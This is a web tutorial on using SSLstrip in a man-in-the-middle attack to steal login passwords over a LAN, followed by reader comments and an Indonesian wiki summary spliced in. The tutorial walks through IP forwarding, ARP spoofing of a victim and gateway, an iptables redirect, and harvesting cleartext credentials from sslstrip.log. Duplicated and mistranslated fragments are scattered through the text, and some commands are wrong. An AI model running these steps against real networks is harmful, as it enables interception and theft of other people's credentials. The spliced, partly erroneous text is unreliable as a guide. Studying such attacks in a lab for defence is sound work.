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Langkah untuk melakukan serangan menggunakan ssltrip adalah sebagai berikut.


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Tutorial: Using SSLSTRIP in a “Man in the Middle” Attack
route -n
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netstat -nr
fr4nc1stein
June 23, 2015 | Views: 45270
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SSLSTRIP in a Man in the Middle Attack


enable forward paket,
 
Hello guys,
 
In this tutorial, I’m going to teach you how to use a SSLSTRIP via the Kali OS.
 
We’ll use SSLSTRIP for sniff or steal password in a Target PC via LAN (Local Area Network). SSLSTRIP is known in hijacking HTTP traffic on a network. For testing, we’ll try to use VMWARE and download the Kali Operating System. I’m using BT5 (Backtrack) in my presentation.
 
 
Requirements:
 
1. Kali OS  – Click here
 
2. Syntax Code from the Author of the SSLSTRIP
 
3. Common sense
 
 
We’re assuming SSLSTRIP is already installed in Kali Operating system:
 
Step 1: Open Terminal
 
 
Step 2: In order to run SSLSTRIP in MITM, you need to know the Target IP and the IP of Gateway of the router. To find the router gateway IP, here’s the code:
 
route -n
 
or
 
netstat -nr
 
 
Step 3: Port forward for accept packets and forward as vise versa
 
disabled = 0
 
enabled = 1
 
Code: echo “1” > /proc/sys/net/ipv4/ip_forward
 
See image below:
 
image 1


echo “1” > /proc/sys/net/ipv4/ip_forward
   
   


Step 4: In a real attack, we’d be using ARPSPOOF against the layer 2 segments. In the images below, I modified the $routerip, but we make a simple instruction. At step 2, we find the router IP is 192.168.109.2. To use ARSPOOF, follow this code.
lakukan arpspoof,


Code: arpspoof -i eth0 -t victimip routerip
arpspoof -i eth0 -t victimip routerip


See images below:
arpspoof -t eth0 -t 192.168.109.18 192.168.109.2
 
192.168.109.18 = ip victim
image 2
192.168.109.2 = ip router / gateway
three 3
 
Note: The $routerip was already modified in advanced tutorial. Don’t follow the image – you can use this example:
 
Code: arpspoof -t eth0 -t 192.168.109.18 192.168.109.2
 
192.168.109.18 = victim ip
 
192.168.109.2 =router ip or gateway
 
 
Step 5: Modify the IP table. Let’s understand iptables: iptables take traffic inbound to our Kali Linux machine, on which the destination is port 80 (also known as the HTTP web port. It redirects traffic to the port 1000, which is listening through the use of SSLSTRIP).
 
Code: iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 1000
 
See image below:
 
imahe 4


   
   
redirect inbound traffic ke port 80 (http), menuju port 1000 (sslstrip).


Step 6: Voila, peak time. We’re going to open our SSLSTRIP.
  iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 1000
 
In Kali:
 
Application -> kali linux -> information gathering ->sslstrip analysis – >sslstrip
 
In BT:
 
Application -> Backtrack -> Exploitation tools -> Web Exploitation Tools ->ssltrip
 
See the image below:
image 5
 
Run the following to start the SSLSTRIP, which we set at port 1000.
 
In Kali:
Code: sslstrip -l 1000
 
In BT:
Code: python sslstrip.pl –l 1000
 
 
Step 7: An example of Victim login at hotmail.com.
 
See image below:
image 6
 
 
Step 8: Open the sslstrip.log
 
See image below:
 
image 7
 
The username and password is in cleartext – the blur portion in picture.
 
   
 
Thank you!
 
Regards from Philippine Security Researcher
 
/fr4nc1stein
 
/skyle17
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18 Comments
 
    Profile image for mrdnf
    mrdnf
    11:27 am on August 24, 2016
 
    I followed the instructions but there was nothing in sslstrip.log; any idea please?
    This is my Kali’s version:
    Linux kaliv2 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux
 
    and Win7 client:
    Host Name: WIN7
    OS Name: Microsoft Windows 7 Enterprise
    OS Version: 6.1.7600 N/A Build 7600
    OS Manufacturer: Microsoft Corporation
    OS Configuration: Member Workstation
    OS Build Type: Multiprocessor Free
    Registered Owner:
    Registered Organization:
    Product ID: 55041-049-8865546-86969
    Original Install Date: 4/15/2010, 4:29:26 PM
    System Boot Time: 8/24/2016, 7:08:18 PM
    System Manufacturer: VMware, Inc.
    System Model: VMware Virtual Platform
    System Type: X86-based PC
    Processor(s): 1 Processor(s) Installed.
    [01]: x64 Family 6 Model 42 Stepping 7 GenuineIntel ~
    2195 Mhz
    BIOS Version: Phoenix Technologies LTD 6.00, 5/20/2014
    Windows Directory: C:\Windows
    System Directory: C:\Windows\system32
    Boot Device: \Device\HarddiskVolume1
    System Locale: en-us;English (United States)
    Input Locale: en-us;English (United States)
    Time Zone:
    Total Physical Memory: 511 MB
    Available Physical Memory: 298 MB
    Virtual Memory: Max Size: 1,535 MB
    Virtual Memory: Available: 879 MB
    Virtual Memory: In Use: 656 MB
    Page File Location(s): C:\pagefile.sys
    Domain:
    Logon Server:
    Hotfix(s): N/A
    Network Card(s): 1 NIC(s) Installed.
    [01]: Intel(R) PRO/1000 MT Network Connection
    Connection Name: Local Area Connection 2
    DHCP Enabled: Yes
    DHCP Server: 192.168.234.254
    IP address(es)
    [01]: 192.168.234.137
    Log in to Reply
    Profile image for zaakkniight
    zaakkniight
    9:25 am on August 15, 2016
 
    arpspoof -t eth0 -t 192.168.109.18 192.168.109.2
    arpspoof -i eth0 -t 192.168.109.18 192.168.109.2 (I for interface)
    Log in to Reply
    Profile image for mattbelle
    mattbelle
    12:11 pm on July 23, 2016
 
    the target’s browser gives a warning telling the victim that this site isn’t secured and refuses to proceed
    Log in to Reply
        Profile image for grench
        Grench
        7:42 pm on September 20, 2016
 
        That is a problem
        Log in to Reply
    Profile image for du54nr
    Du54nR
    4:45 pm on May 4, 2016
 
    Is it also working with https (443) links ? Facebook like ?
    Log in to Reply
        Profile image for phexcom
        TYEB
        3:56 pm on June 24, 2016
 
        What it does is that it actually removes the https and replace it with http. Like the name implies SSLstrip. So it just strip off the ssl
        Log in to Reply
    Profile image for
    ken94
    12:38 pm on April 29, 2016
 
    i think it works on only old versions of browsers,i do update my system,softwares so my my browser firefox stub 46.0 (latest currently)does not fall for the attack,gives some errors when i attempt to open https sites!
    Log in to Reply
        Profile image for grench
        Grench
        7:44 pm on September 20, 2016
 
        Firefox is really secure and updated with frequency to detect MITM attacks.
        Log in to Reply
 
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Jalankan sslstrip agar listen pada port 1000


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Revision as of 09:34, 4 April 2017

Sumber: https://www.cybrary.it/0p3n/sslstrip-in-man-in-the-middle-attack/


Langkah untuk melakukan serangan menggunakan ssltrip adalah sebagai berikut.

Cek routing,

route -n
netstat -nr

enable forward paket,

echo “1” > /proc/sys/net/ipv4/ip_forward

lakukan arpspoof,

arpspoof -i eth0 -t victimip routerip
arpspoof -t eth0 -t 192.168.109.18 192.168.109.2
192.168.109.18 = ip victim
192.168.109.2  = ip router / gateway


redirect inbound traffic ke port 80 (http), menuju port 1000 (sslstrip).

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 1000

Jalankan sslstrip agar listen pada port 1000

sslstrip -l 1000
python sslstrip.pl –l 1000



Referensi